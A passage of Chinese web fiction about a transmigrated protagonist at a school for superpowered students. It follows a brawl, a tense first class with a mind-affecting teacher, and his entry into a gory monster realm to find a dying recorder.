其实这时,伙伴还并不是真正的伙伴,还需要一件重要的事情,他们才能彻底成为好友。
漫画套路,挚友可以捡来,但不能白送。
些许波折,些许对抗,读者更上头。
夏云尹摸着墙面,看看自己的手,又看看墙面。
“夏云尹!!!”
……
干了!
于是,他破墙而入,并没有道德的抢走了高中生的新武器,然后电麻了穷追不舍的热情同学。
时间回到正规。
墙内,夏云尹盯着倒在地上,全身焦黑的温玉前,暗喜:
不愧是主角。
温玉前再健硕,也无法扛住季英的“十万伏特”。
感恩。
因此,在季英还在回想时,解决好事情的夏云尹来到他面前。
看着凑近的脸,季英依旧觉得熟悉,但还是想不起来。
而刚才还战意盎然,电晕一个同学的青年,现在面上完全看不出任何慌乱、喜悦或兴奋,仿佛笑着放电的不是他本人。
他就像干了一件小事,眉眼弯弯,将武器塞给季英,声音清朗:
“谢谢你,同学。如果不想被记分的话,还是快离开吧。”
说完,不等反应,他就快步离开了。
季英疑惑,然后,周六就扯着他的袖子,向着与青年不同的方向,大步离开。
周六笑容满面,明明是在逃跑,他却很姿态轻松。他看向季英,自己的室友依旧不在状态。
“快走吧,英。”
校内的记分队,可都是不好惹的。
7.记分
在漫画中,记分队形同幽灵督察官。
他们都是学生,会对违规的学生进行控制,再上报给“督察”。如果情况属实,则由扣分者平分那些分数。
他们当中,混有“处分者”。
用他人的错误来弥补自己的过失,消除自己的处分、处罚,这样到大三下学年时,便不至于……
“滚开!”
林道内,有人破口大骂。
他怒视身旁的人,后者紧追不舍,惹人厌烦。他语气不满,大喝:“你才大二,这么着急干什么!”
“呵呵。”
听者促狭一笑,上下打量骂人者,语调幽幽,出言讥讽:
“那你最近四处求人,上蹿下跳,有这么着急吗?”
“哼!”
“呸!”
他们都心知肚明,自己为何出现在这里。
为消分,处分者往往在校内逗留,然后守株待兔,寻找正在违纪或者在外面闯祸后,偷偷溜回来的学生们。
但刚刚阴阳怪气的人就读大二,而且他本身并没有任何处分,所以,他想规避的事情与面前的人不同。
忽然想到什么,他打了个激灵,目光不善,些许恐惧从面中流露。他看向竞争者,压低嗓子:
“我要消除处罚,你别挡道。”
处分,处罚。
说罢,他们拉扯起来,但又为了赶路,下一瞬便放手,果断提速。
“记分队”
听起来是个集体,但其实是数个不同的队伍的统称。他们成员不同,年级不同,平时互不干涉,但偶尔也会无视纪律,相互敌对。
他们如同笼中困兽,为得到出笼的机会而绞尽脑汁,对竞争者露出恶意。
在需要秩序的地方,满是混乱。
而想到这个主意,镇压底下的不满,并将其成功实施的人,正是大一的教导主任:
王凤凤。
冲着目标赶来的两人,在奔至户外训练场时,不经意间目光相对,他们眉头一紧,同时想到:
果然!
这家伙在监控区有探子(安排)!
他们立马收回视线,看向那面倒塌的围墙,随即笔直的冲上去,生怕自己落后一步,白费这么多心思。
然后他们注意到,有一个如玉的水乡美人,此时正站在缺口的正中央,挡住了他们的路。
黑发如瀑,眉眼如画。
宛若画中而生,顾盼生姿的佳人,正含笑望着他们。但是,在看清的那一刻起,他们便感到头疼,不自觉的咬牙,以提高警惕。
是万贞。
他们:“…………”
打不了。
即使他们联手,也不能确保自己能成功越过万贞,更别提抓住违纪者,并控制住他了。
“我当没见过你们。”
万贞的声音如翠鸟弹水,温柔动听,她继续说道:“我不去告发你们,藏在监控区的小手段我也不去管,作为代价,你们不能说出这里的事情。”
万贞的瞳色似蜜,又如在花间摇曳的阳光。但她说的每一个字,都直戳二人的心窝。
大二生很明显抗不住压力,冷汗直冒,他颤抖着抬眼,因忧虑而不敢直视,只能悄悄避开。
明知这里是学校,万贞也无法肆无忌惮,对他们做什么,可他依旧感到心慌。
万一呢……
听说万贞身上的处分一辈子都消不完。
造成这一点的主要原因,其实还是万贞的异能力……
“万贞!别太拿自己当回事!”
同是大三的学生,他明显更硬气。他面色阴沉,注视着自说自话的万贞,不由感到生气,他反驳道:
“你自己的处分消不完,也别来妨碍我!”
他们现在刚大三,但很快就会进入下一学年。他无法保证自己如果错过这次机会,还能不能成功消掉处分。
“哦?”
万贞似忽然想到什么,美目圆睁,状似惊讶:“啊呀,真可怜,你是不希望被落下吧,但很遗憾……”
她颔首,压低头颅,以一种调笑的模样继续说:
“你没有选择的机会。”
痛处一而再再而三,被万贞揭开。
但他没有太激动,而是惦记着反击,对于万贞的异能,他有自己的底气。
作为同学,他与万贞在一些课程上相同,正因如此,他其实见到过万贞的异能,并且在课后,特意打听过。
“今天是一周的末尾……”
他嗤笑出声,目光偷偷看向墙面,那个违纪者肯定还在昏迷,而自己只要能够解决面前的阻碍,那任务便完成了一半。
万贞的异能力,听说存在着一个致命缺陷。
他试图激怒万贞,并寻找着自己的钮,打算搞偷袭。
但在同时,万贞收敛了笑意,眼中似有金色的光芒在涌动,且愈来愈强,嘴唇轻启,似在准备。
什么?
今天可是周六啊!
原本的计划被打乱,与之一斗的心思也消散。
他正想开口,接受万贞的提议,却发现她完全没有停手的打算,正死死的盯着他们。
完了,他暗想。
异能力【三分恶意】……
怎么躲开?
“万贞。”
如局末的敲钟声,墙内传来呼唤声,暂时打断了他们的针锋相对。
而本就处于弱势的两人,更是如同听到天籁之音。他们抓住机会,趁万贞扭头,连忙掉头便跑,完全不敢多留。
万贞放任他们离开,眼中的金色熄灭,回归正常。
她踏过墙壁的残垣,在看清躺着的温玉前后,露出不悦的神情。
“怎么了,难道你正在心疼自己可怜的表弟?”
可怜,但有肌肉。
呃……
好恶心。
刚刚出声的男人露出格外嫌弃的表情,他戴着厚重的黑框眼镜,顶着整齐的西瓜头,怀里则抱着两本大部头。
一副好好学生的样子。但太过刻意的打扮,让人在好奇打量的同时,忍俊不禁。
厚厚的镜片下,他将目光移向温玉前。
半晌,他开口抱怨道:
“反正肯定是他先去招惹别人,然后不凑巧遇到了硬茬子,才被打成这个样子。现在,还要我给他收拾烂摊子。”
高誉盯着那张黑了几度的脸,考虑要不要踩几脚解气,但最后还是没有付出实际行动。
可惜他的图书馆自习计划,现在泡汤了。
“唉……”
高誉直接扯下眼镜,用手背将额前的刘海推到高处,露出完整的脸。
他五官清秀,有种书生气质,可那双细长的丹凤眼气势逼人。在看人时,他总是不自觉的向一侧移动眼珠,似在斜睨,瞧不起人。
高誉看着墙壁,拿稳书后,熟练的找到钮。
异能力【书签】,发动。
在高誉面前,倏尔冒出一个小体型的风旋,不算强烈,正在不停晃动。
几秒后,它再次毫无征兆的消失,原地空中出现一张普通的书签,伴着最后的风下落。
书签悄然飘下,被高誉提前接住。随后,两指将其稳稳夹住,对准倒塌的墙壁举起。
高誉眯眼比对,确定轮廓无误后,才开口说到:
“【墙】,重构。”
话音刚落。
书签中间的内容开始消失,与之相应的,那栋明明坏掉的墙,就在眼前突然恢复原状。
它与两侧的墙别无二致,下午的闹剧仿佛从未发生过一样。
墙已经“修好”了。
与其说是“复原”,不如说是“顶替”。在书签中,曾被记录的“完好的墙”,现在替换了现实中“坏掉的墙”。
而他手中的书签,则变成了废纸。
高誉收回手,将它塞在书中,抚平折痕,仔细压好,最后才合上书本。然后,他想起被温玉前弄乱的绿植,不禁头疼,想骂人的冲动涌现。
他心疼自己之前收集的“书签【绿植】”。
看样子,要全都折在这了。
高誉:“……唔。”
一直未说话的万贞正在照顾自己的表弟。
他们的嘴唇几乎一模一样,且颜色比常人要深。其他地方,倒是不像。
万贞打量着温玉前的伤口,发现与雷击相似。她一一回忆校内有着相似异能的学生,甚至是老师,但最后只记起高中部的插班生。
一个新的倒霉鬼。
但是,那个男生刚刚觉醒异能,恐怕还无法好好使用能力。而这么强力的攻击,对使用者本身也很威胁……
那到底是谁?
万贞一边想,一边用手擦拭着温玉前脸上的焦灰。剐蹭眉眼时,力道很轻,指节稍稍用力,一切都如此和睦。
直到,那如葱般的玉指掐住那淡淡的眉毛,向上揪。
“还不快起来,小玉前。”
表姐看着昏迷的表弟,态度强硬:“一次坏运气而已,快起来,我们要闹到全胜为止!”
一旁,高誉看着这对表姐弟。
他看向还是没有动静,瘫在地上的温玉前,又看向还在使力,笑容恐怖的万贞,犹豫的开口:
“小贞,对他好点吧。”
都成炭了。
哎!
……
万异大楼。
夏云尹找到教室,直接推门而入。
刚刚结束一场斗殴兼追逐,他并不累,但心情着实不美妙。
夏云尹有预感,那个大号的牛皮糖还会再来。但他不能真的下死手,更不能补刀,因为他只是学生,不是杀人狂。
公开课没有正式开始。
大一的学生并不多,只有百人,远不如普通大学的人数。教室很大,但人们坐得分散,这里一片,那里一片,更显得空位多。
他们等了很久,有些无聊,或是烦闷。
因而,当教室门被推开时,有些期待的他们原以为是老师,结果进来的却是个生面孔。
是新人。
他的模样很凌乱,一头黑发似被风吹乱,又被主人向两侧撩去,莫名变成了三七分,部分碎发散落,随着他的动作上下抖动。
他穿着黑衫,没有外套,上衣最上面的纽扣没扣上,露出里面的肌肤,上面显出一些发红的划痕。
他的表情介于一事终了后的满足与不知因何而起的厌倦之间,眼中还留存着没有完全消退的兴奋。
如同一只吃饭到半饱,被强制打断的凶兽。
他还没尽兴。
……不会是刚刚打完架吧?
没被记分?
牛哇!
座下,有人悄咪咪的想着。
明明衣服能看出明显的褶皱,并不整齐,可它的主人并没有表现出任何窘迫,而是自在的展露在别人的注视下,惬意的寻找位置。
忽然,他发红的眼尾下压,露出笑容。
他找到了目标。
夏云尹走路带风,目不斜视,径直走向教室的角落,然后在背后所有人的注视下,向座位上的人打招呼:
“下午好,乱虎。”
他伸出手,指腹擦过眼尾,那里的血迹已经差不多没了,额前的伤口也已痊愈。但他的外套不知所踪,上衣的纽扣也掉了几颗。
乱虎听到声音,有些讶异。他抬起头,发现夏云尹正居高临下的看着自己。这对身高出众的乱虎而言,还挺新奇的。
平时,其他人不愿意靠近他。
因为他的异能【鼠患】。
但夏云尹不同……
好人!
乱虎如同睁眼瞎般,无视夏云尹身上明显不正常的痕迹,以及其他人看向他们的视线。
因为异能的原因,他“看人”与其他人不同,他只需一眼,便可以看准、看清一个人。
老鼠的眼睛,远比人们预计中的要奇妙,而反应到【鼠患】中时,更是让人惊叹。
乱虎看向夏云尹,扯动嘴角,露出生涩的笑。
他努力地展露出自己的善意,开口说道:“下午好……夏同学。”
他尽力了。
夏云尹点点头,自然地坐在乱虎旁边。他忽然觉得,自己找到了组织。
“温玉前禁止通行”组织。
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夏云尹想,下一次在出事,就让乱虎先上。
他们都是异能者,而且他们之间的事情要更早,先来后到,他自认要排在后面。
当然,必要时,夏云尹不介意在背后下黑手。
邪恶。
教室内。
见那个男人和乱虎坐在一起,其他人便收回视线,继续无聊的等老师。他们不想招惹乱虎,而这个新来的,看起来也不好惹。
真是怪物层出的异能界。
这时,门再次被打开,进来的是两个女生。
前面的女生金发碧眼,打扮潮流时尚,头上夹着彩色发卡,正在低头看手机。但下一秒,她忽然抬头,看向他们的方向。
直直的注视。
夏云尹敏锐的察觉到,自己身边的乱虎抖了一下。
嗯?
脚踝传来温热的触感,夏云尹面色不变,低头看到一双蒙着水雾的红眼睛,是一只正在颤抖的老鼠。
夏云尹:“……”
他再次坐正,看向室友,幻视脚边的老鼠。
似乎是在害怕。
夏云尹回望过去,神态自然,假装自己没有察觉到异样,与那个女生有短暂的对视。
……不认识。
漫画,你实在无用。
金发女生向前走去,随后,后面的女生露出全貌。几乎瞬间,所有人的目光都被吸引,因为她的长相实在太过特殊。
“天啊……”
有人脱口而出:“是天赋者。”
白发紫目,黑色但闪亮的皮肤。
但这只是最笼统、最简单的概括。
她的身上还有其他颜色,黄绿蓝……所有颜色藏在不同的角落,相得益彰,熠熠生辉。
这个女生的存在,似在向所有人展现“色彩”的定义。
而她的发色、瞳色和肤色,现在仔细看,其实也不单一,里面仿佛混入了星海。
如星辰的女儿……
反色女,星光。
漫画中,定义“天赋者”的存在。
天赋者看似是美称,但其实是指,在外表上明显异于普通人的异能者。他们不能前往普通人的社会,因为他们本身,就是奇妙的代名词。
而往往,这类异能者的能力,也很出色。
夏云尹没想到,自己居然能看到漫画里的有名角色。如果说身边的乱虎名气是前二十,那星光就是前十。
星光的外形与能力,都很受读者欢迎。
没有异能,死得离谱的夏云尹:……
差距好大。
“砰!”
在女生们落座后,还没关上的门被猛的推开,发出重响。
随后,是一阵仿佛在心脏上打拍子,格外响亮的高跟鞋落地的声音。
在众人的注视下,一个穿着西服,留着及耳短发的女人,风风火火的走上讲台。
她一言不发,直接打开投影,开始播放视频:
画面里,冒出几个大字。
“认真看!”
她扫视下面的所有人,也不确认人数,直接动用异能。
【重忆】
大范围的异能,使所有人瞬间中招。
他们都坐在座位上,目不转睛的盯着屏幕,看着这一页的文字,视频继续,又继续被下一页的文字困住心神。
那些文字都是一些学生须知,如校规、违纪情况、出行注意等等,本来应该由教导主任来讲,但他偷懒,撂摊子离校了。
于是,来这里的是本该休息,因上司不做人而临时顶班,且差点迟到的楚文心。
怨气很重!
在她的异能的影响下,视频中的内容如同刻字般,出现在场下所有人的脑中。内容可能会随着时间淡忘,但只要他们动念头,就会再次记起。
楚文心是个人才。
她的异能很实用,所以王凤凤才会放心她来进行公开课,离开学校时完全没有负担。
只是她现在在生气,一上来就动用异能,没有给下面的人打招呼。其他人还好,但是……
完喽。
在意识到自己中异能的瞬间,夏云尹原本的放松变为警惕,异能者的出现,让他感到天然的戒备。
异能、异能。
他看着屏幕,但脑内的记忆与里面的内容毫不相干。有漫画《斗》,有刚才的斗殴,有医院的病房……
他的心跳开始加快。
楚文心的异能能让人加深印象,但无法从记忆方面入手,使人头脑风暴,进而精神崩溃。
否则,她的异能就麻烦了。
而底下的学生们,因为人体具有自我保护机制,不会在这种时候随意转移注意力,再加上楚文心的有意控制,因此,他们只会记下视频的内容。
楚文心想,搞定。
“嘭!!!”
其他人回神,抽离时意识还很恍惚,他们和老师一样,看向声音的来源。
突如其来的巨响,伴随着空中飘起的粉尘,一时他们都看不清楚。
但当它慢慢散去后,逐渐露出角落的场景:
长桌从一端出现裂纹,但并未倒塌,很明显,肇事者有在克制自己。但因为情况特殊,或是本人力气太大,还是弄坏了它。
桌面上,一只黑色的老鼠吱吱叫着,它靠近自己的主人,和他一起看向夏云尹,面带因为了然而产生的平静。
楚文心站在讲台上,看向远处的夏云尹。
她清楚的看见,原本双手还维持着砸桌子的动作的学生,此时已恢复了冷静,稍稍收回了手。
几乎面朝桌面的头颅缓慢的抬起,特别慢,在万众瞩目下,最先看到的是他笔挺的鼻梁,随后是抿起的嘴唇,再是眼睛。
“!”
有人一惊,压下刚要脱口而出的叫声。
那双眼睛中,似水中滴墨般,被滴入疯狂,在其中翻腾。他如咬着猎物般,投来的视线带着莫名的压力,最后,他看向讲台。
而感受到视线,仿佛被野兽死死咬住般的楚文心骤然大笑,她的声音因激动而尖利:
“欢迎来到万异大学!你们这群倒霉鬼!!”
8.破军
作为王凤凤的助理,楚文心的日常很普通。
抛开要照顾不着调的领导,她每日三点一线:
住所、校园、墓园。
三年前,她隶属于管理局,在某次入界行动中失利,侥幸存活。
然后,她来到万异大学,遇到了王凤凤。
男人异常俊美,金色顺直的长发,眼如三月桃李染红,神采灵动。
他开口,说出的话让颓唐的楚文心抬头,四目相对。
“由温室娇养的异能者过于软弱,当在界中,他们有谁能记起那些知识,然后付诸于实际……”
“我们需要更顺应时代,更适合入界的异能者。”
王凤凤的观点与异能界的主流观念不同,甚至是背道而驰。
后者以“平衡”为准则,即灭杀怪物,保障异能者不会暴露,避免两个社会牵扯太深。
保护,平衡,奉献……
那些熟记于心的准则,因异能【重忆】而愈发清晰,日夜深刻于脑海。
而在经历巨变后,楚文心怀疑身边的一切,包括自己。她将自己困于一隅,陷入僵局。
直到,王凤凤出现。
曾经支持的“平衡”似乎在发生不可告人的变化,而王凤凤提出的新准则让她暂时走出了困局。
“破军”
冲锋陷阵,折损在所难免,但勇往直前,先破后立。在战斗中得到胜利,在其他方面得到新的变化。
体制开始僵化的异能界,是时候进行变革了。
这是王凤凤的理想,他想找到这样的异能者,找到属于新时代的破军。
……可能找到了。
楚文心眼神晦暗,想到下午的那个新生。
只要意识清醒,人们每时每刻都在记忆,没人会将其当成攻击,更不会因此产生战意。
但夏云尹不同。
他能这么快给出反应,并从异能中抽离,表明了一件事:
他正处于备战状态。
在意识到异能降临自身时,他便给予反击,给出完美的反击。
如果不是他保持理智,及时收力,楚文心相信下一记攻击肯定会冲着她自己而来。
克制且理性,进攻意识完美。
很出色。
他对身躯的掌控力非同凡响。
墓园内。
墓碑长得一模一样,只有名字各不相同。
楚文心抱着花束,站在一座墓碑前。
天色将黑,落日余晖自天际而来,将人间染红。
楚文心的黑色西服,也因此染上无形的红晕。她的眼神空洞,在脑中回顾着下午的事情,自言自语:
“找到了……”
这时的风已有凉意,吹到脸上时如同稍稍开刃的刀拂面,有些刺痛。
西服下摆过长,正在强风的干扰下不断摆动,发出猎猎响声,但她岿然不动。
“滴滴滴。”
手机的闹铃在空旷的墓园里回荡,显得诡异。
楚文心回神,拿出手机并关掉闹铃,忽然想到那个翘班失踪的领导。随即,她打开通讯记录,将页面往下滑。
手指一点,拨打电话。
数秒后,电话接通,楚文心向对面说道:“记得准时回来。”
助理和领导汇报着情况。
时间流逝,最后的光离去,今日没有月亮,黑夜降临。
下午的事情并未造成影响。只是在听完楚文心的话后,教室内的气氛开始变得微妙。
特别是觉醒异能后来到异能界,并不适应新身份的“外来人”。
他们的人数并不少,面对这种变故,有人面带惶恐,坐立不安,但又实在不知道内情。
什么意思?
这个刚来的老师在说什么?
许箬泽的眼神乱飘,最后还是落回于楚文心,但他不敢开口询问。
他还是有些发怵。
于是,他将目光移向邻座的同学。
可惜,当时的楚文心在关注夏云尹,从而错过了接下去发生的小小闹剧。
面对同龄人,许箬泽明确说出了自己的疑问:
“同学,老师说的倒霉鬼是什么意思?”
出乎他的意料,他得到的回答是一个眼神。
嘲弄。
同学并未掩藏自己的恶意,那个人甚至挪开了一些距离,离许箬泽远些。
随后,故意压低的声音响起,钻入许箬泽耳中:
“倒霉鬼就是指你们这类人,沾沾自喜,来到我们的世界,最后又哭闹着要回去,但死无全尸。”
这个人的父母都是异能者,他自己也生来就在异能界,并未在外面的社会长期生活过。
对于外来人,他并不喜欢。
圈内人也有着极端群体,他们觉得外来人是在夺取资源,压缩他们的生存空间,同时增大暴露的风险。
“异能界会因为他们的存在而变得肮脏拥挤。”
他们这么说着。
正如温玉前所言,这类人莫名的自傲,实在可笑。
出言讥讽的人并不觉得自己也是楚文心口中的“倒霉鬼”,他将自己摘除在外,并威吓着胆小的许箬泽。
白发青年面容清秀,头发蓬松,红瞳透亮,看上去很好欺负。
但是,听者不止他一人。
他们的交谈被第三人听得清清楚楚,那人翻了个白眼,露出厌恶的神情。
“闭嘴。”
声音如丝如缕,让人下意识认真去听她的话。
可是,她只说了两个字。
前排的金发女生侧过身,露出那双如翡翠碧玉的眼睛。
她的五官精致,并不是柔美的类型,反而带着些攻击性。可是金发碧眼的配色,居然淡化了她眼中的挑衅、拽酷,变得机灵、甜美。
人都是视觉动物,被表象欺骗往往会很惨。
完整的妆容,个性化的打扮,她是一个全妆上课的明艳美人。
刚想回怼的人看到这张脸后,立马闭嘴,面色变得古怪,耳朵通红。
薰面色不改,上翘的睫毛下,眼神清冷。
……她不能否认,这张脸有时能带来便利。
比如这时。
霎时间,眼睛变为兽类的竖瞳,阴森逼人,直直逼迫着面前的人。旋即,有无色气体从他的身上冒出。
当事人看不见,但能感知到自己被做了手脚,如同被无形的存在禁锢般,不能动弹。
他看着薰,想回忆起这个人的名字,开口说好话。
可让他奇怪的是,他竟然发现,在开学的自我介绍环节,她并没有提到自己的姓名。
当时,女生完全是另一套不同的妆容与打扮,神情聊赖。
她站在高台上,看了所有人一眼,慢悠悠地说出了自己的异能后,就下去了。
对了!
异能!
溢出的气体越来越多,几乎将他完全笼罩,但是除去薰,这里没有人可以看见。
男人想出言求饶,但在那对绿色竖瞳的注视下,他根本无法动一根手指头。而在旁人眼中,他只是在发呆。
意识迷离恍惚,在恐惧中,他看着薰,心想:
真有这种异能?怎么可能!这还算是人吗?!
异能【请仙】。
“呼。”
最后一口气,从失去意识的男人口中溢出。
所有气体,陡然消失。
而在薰眼中,面前的人体内存有的气,都已从体表离开。最后一口保灵智的气,也从口中离开。
他成为了无味的躯壳
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。
真是,祸从口出。
薰窃笑出声,眼目微眯,藏住里面涌现的爽快。
随后,美目一转,看向那个被针对的人。
他很明显不清楚发生了什么,因为在他们眼中,男人只是在与薰对视后,就忽然闭嘴了。
没有人发现,男人的眼神不再清明,而且盖着一层无形的白雾。
他看起来很正常,很安静。
许箬泽没看出问题,可他也觉得不对劲。但薰并没有关注他,只轻飘飘看了一眼,就重新转了回去。
……可怕。
他直观地发现,自己的同学并不普通。
“啪嚓。”
清脆短暂的打响指的声音响起,许箬泽抬头,只看到薰的背影。
她背对着他们,姿态放松,微微向后仰首,吩咐道:
“等会儿你回去,别乱跑,不要闹事。”
闻言,男人点点头,垂首听令。
许箬泽:“!”
可怕!
其实,等那些脱离的气重新回来,男人自然会重新恢复神智。可是再此之前,他听命于薰。
薰摇晃着手机上的挂坠,听着叮铃声,扭头看向室友,然后发现星光又在出神发呆。
薰:“……”
无奈。
她一意孤行,来到这里,到底是对是错?
她怎么感觉有些悬。
这是一场小小的插曲。
楚文心并未发现,是因为她在关注夏云尹。
但夏云尹注意到了。
在异能发动的瞬间,那双黑眼睛便在发丝的掩护下,探究着望去。
他察觉到那个女生使用了异能。
而且,有一抹虚影正出现在她身上,有着一双又大又直又长的耳朵。
是狐狸。
……他可能知道乱虎为什么表现出害怕了。
这是食物链的压制。
所幸,哪怕弄坏了桌子,校方也并不追究。因为追根究底,楚文心随意对学生使用异能,才是最大的问题。
但夏云尹也知道,校方不会真的对楚文心做出什么处罚。
成年并且能熟用自己异能的人,是很宝贵的资源。更何况,【重忆】并不是弱小的无用异能。
真现实。
夜深时分。
夏云尹走在校园的青石桥上,这里是另一处湖泊。
万异大学的占地面积很大,甚至在其他地方拥有岛屿,专门供老师们进行教学。
财大气粗。
桥中央,驻足的夏云尹看着平静无波的水面,与水中的自己对视。
一天下来,有惊无险。
但实际上,晚上才是真正的重头戏。
“真是事多,才入学第一天啊。”
二十二岁的青年仰起头,看着一片漆黑的夜空,在心中默念。
三、二……
一。
“咕咕咕。”
令人齿冷的声音响起。
高空中。
一团血红的漩涡凭空出现,它如同一团正在呼吸的血肉,不断向下淌着血。
坠落的血拉成线,从不断开,一路下坠,直至湖面。
原本似画卷般迷人的湖景,一下子变得荒诞、惊悚。连湖面上的点点荧光,都显得瘆人起来。
所站的位置正好,可以清楚看见漩涡的夏云尹,当然将这一幕完整的映入眼帘。
“速战速决吧。”
下一秒,桥上空无一人。
同时,界中,那双重染疯狂的眼睛睁开。
他的声音带着克制的笑意,而在没有旁人的角落,他说的话更显得古怪、吓人:
“你在哪儿呢?”
主角。
这是第二次入界。
9.“杀死我。”
一切故事的开端,是季木眉的死亡。
她生前无罪,死后有怨,是漫画中的第一死者。
“夏云尹”紧随其后。
因为尚有生还者,这场进行到一半的谋杀不再隐秘,露出马脚。
管理局的介入、邓七元的关注,使凶手的主导权遭到桎梏,无法轻易地叫停这场迫害。
那要是不顾损失,直接收手?
可只要暴露过一次,哪怕只有一点点,都会被人死死盯住,等待其再次失误。
而且,他不甘心。
异万高中与万异大学,都不是真正的铜墙铁壁。
……他还有后招。
失踪的记录员,编号一四五,被预言将死于“六天后”,即恰逢新月的周六。
他将是第三个死者。
故事正在继续,用死亡来延续,用血来点缀。
所有的齿轮干净而闪亮,被摆放在对应的位置,环环相扣,各司其职。它们顺从轨迹进行转动,咯哒哒,驶向命定的结局。
直到,一个普通的齿轮出现。
夏云尹:“啧。”
他的表情厌弃,眼睛眯起,适应着突变的环境。而温度的骤然上升,使其宛如泡在温水中,恰似血带来的感觉。
温热。
一入界,他便感知到明显的潮气,来自四面八方。它正刺激着他的肌肤,企图钝化他的五感。
除去他,这里还有需要呼吸的存在。
被盯上了。
青年站在耸立的巨型方柱上,俯瞰四周,入目的是数个更矮的方柱。它们都没有差异,只是高低不同,而他现在脚下的是最高的。
耳朵发痒,能听到微不可查的响声,那是吞咽声与吐息声,来自最深处,那片连绵的红色血肉。
正如漫画中命名的,【红渊】。
这里是脱离现实、不符常理的异空间。
方柱之间的距离很远,其间牵连着肉瘤,形成薄而窄的道路。肉瘤似在呼吸,偶尔动弹,清晰的肌理下,能看见里面流淌的液体。
那隐晦的注视,随着时间流逝,里面的恶意只增不减。
想挑衅他?
啊?
上涨的战意在一瞬间停滞,夏云尹伸手摸摸自己的脸,发现有些僵硬,表情肯定也很奇怪。
他看不见自己的脸,所以全靠猜测。
夏云尹觉得,目前自己的情况很好。大脑能感知到刺激,不断产生兴奋、雀跃的信号。
但还能控制,夏云尹的理智尚存。
……可能是因为还没见血。
在医院时,他因贯穿伤而血流不止,意识霎时间坠入疯狂。身躯的自主痊愈,加上对怪物的天然敌意,使其将矛头对准怪物。
厮杀吧!
方柱上,夏云尹摸向自己的左肩,那伤口早已完好,甚至没有任何疤痕。修长的手指隔着衣服摩挲,他忽然开始思考,自己真的能死吗?
头颅掉落、脖子扭断……会死吗?
还是说,只有漫画家能让他死呢?
漫画家难道不会奇怪,为什么有一个陌生的角色出现在他的画布上,而且看不出明显的异能。
高维度的存在,果然很难理解。
夏云尹放下问题,向右侧的肉瘤通道走去。在踏上的一瞬间,双脚感受到向下的吸力,两侧微微陷入,下一秒又被悄悄弹回。
像在浅浅试个味道。
“噗!”
那只刚要落下的右脚,猛的加速,力度在瞬息间加大,几乎是以洞穿下方的肉瘤为目标。
肉瘤也在这一刻发出声响,随后,是一连串的相似的声音。
青年不在乎自己的落脚点就是它,坠落则是红渊。
他仿佛跳着没有规则的舞,因身材修长而显得不难看,配上脸上重新涌起的笑颜,宛若这里并不是吃人的界。
夏云尹往前走,沿着道路来到另一个方柱,然后回头看,发现自己的挑衅没有得到回应。
不管是呼吸、注视还是若有若无的触碰,都让夏云尹眼中的厌恶加深,同时,恶意也在加重。
“真恶心,怪物。”
青年身子前倾,斜睨刚才的肉瘤通道,下一秒,肉瘤膨胀些许,似在生气。
但并没有攻击。
夏云尹还维持着挑衅的姿态,故意摆出高高在上的样子,却没有等来预期中的反应。
明明当时两个怪物一见面,就恨不得咬死对方。
这个界中的怪物果然谨慎,可一直不出现,也实在让人头疼。
部分怪物是有智慧的,它们知道如何戏耍、捕捉、虐杀猎物。具体怎么做,取决于它们的喜好。
而夏云尹,则喜欢血。
鼻尖捕捉到熟悉的味道,隐匿于越来越浓的湿气中,让人怀疑是否是错觉。
夏云尹停顿一会儿,确认是人血的味道后,他回眸一笑,难得不见癫狂,扬声说:
“既然你不出来,我就先走了!”
如落羽般,他没有任何前摇,直接跳下方柱。
背后的视线仍未消失,他看到很多方柱与自己擦身而过,肉瘤在鼓动,热气在加重。
他进来前目的就很明确,找人。
但比起主角,最重要的是记录员。
“嗒。”
双脚再次着陆时,肉瘤的弹软使夏云尹没有受到任何冲击力,他甚至还弹了数下,朝着目的地更加靠近。
最深处,有人正背靠方柱,随着底下血肉的呼吸而起伏。
蓝色的头发上是斑驳的血迹,他低着头,让人看不清面貌。右手握着一把匕首,刀身染着红色。
金荣安一声不吭,他已经没有力气出声,同时,匕首也即将脱手,他需要快点做出决断。
是继续等着渺茫的希望,还是……
手指微微勾住刀柄,冰冷的触感让他生厌,闭眼苦笑,但等他再睁开眼时,却撞上一双眼睛。
纯粹的黑色,带着好奇看着他,陌生人面带笑意,出色的长相使其看起来并不有害,反而显得清爽、友善。
可这里是界。
失血的后果是晕眩,金荣安想握住匕首,却忘了自己已经是强弩之末。他的眼睫一动不动,浅灰色的眼睛里布满血丝,注视着陌生人。
是敌是友?
“哎……还活着。”
听到这话,干涩的眼睛一眨,似在回应面前的人。
金荣安张开嘴,忍受着疼痛,声音嘶哑难听:
“你是谁?”
夏云尹沉默。
刚才他看这个人眼神涣散,反应迟钝,盯着他看了这么久,结果就只有这个问题?
夏云尹没有回答。
一天都在自我介绍,他乏了。
金荣安没听到回答,忽然怀疑自己是不是出现幻觉,旋即,一只手朝他的面门伸来,阴影盖下。
陌生人掰着他的脑袋,微微向左侧转,露出后脑处的伤口,有些凝固,与头发粘连在一起,结成一团。
如果不及时医治,他死定了。更何况,这里是有怪物的界内。
漫画中,季英是与周六一同入界,他们刚经历下午莫名的对立,相处有些隔阂,当然,特指季英。
因为怪物太阴险,藏得隐蔽,他们在界中经历波折,险象环生。
最后,主角以一击新招打退出现的怪物,同时,界外的校方发现异样,及时赶到。
可是,这个界里也有黑钉。
但这次,黑钉是人,即夏云尹眼前的濒死之人,记录员一四五。
他也是不幸的卷入其中。
原剧情里,当界开始崩解时,出现在校方眼前的共有三人:
季英、周六、金荣安。
只不过,最后一个是尸体。
混在人群中的凶手的帮凶,以此为由,要求彻查季英和周六,认为他们涉嫌在界中迫害失踪的记录员。
黑
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钉在出界后就消失了,而金荣安已死,死无对证。
哪怕只是胡乱攀咬,也让主角感受到了明确的敌意,他知道,有人想害自己。
更重要的是,这件事对周六产生了影响。
影响大到周六差点被强制退学。
这可是季英刚一同历经生死,有过命交情的伙伴,怎么能放任其被退学。
接下来的时间,就是主角斗校内卧底。
夏云尹不打算阻止季英打卧底,但与其被破脏水,然后去自证清白,还是主动去揭露对方更有气势。
陷害?
笑话。
他们可是白的很,出现在界里是有人心眼小,利欲熏心,想害人;去找幕后黑手是为了复仇,除害,还异能界海晏河清。
多么好的高中生!
夏云尹在来前就有所准备,还特意在监控下路过,留下自己的足迹,证明自己也是意外被卷入。
运气差不是他的错。
当然,哪怕被认为是他主动进去的,夏云尹也无所谓。
退学就退学吧。
他不在乎。
某一瞬,来自上方的压力离开,金荣安无力地垂首,声音伴随着血痰卡住的声响,让人听了难受。
“虽然……不知道,你是谁……”
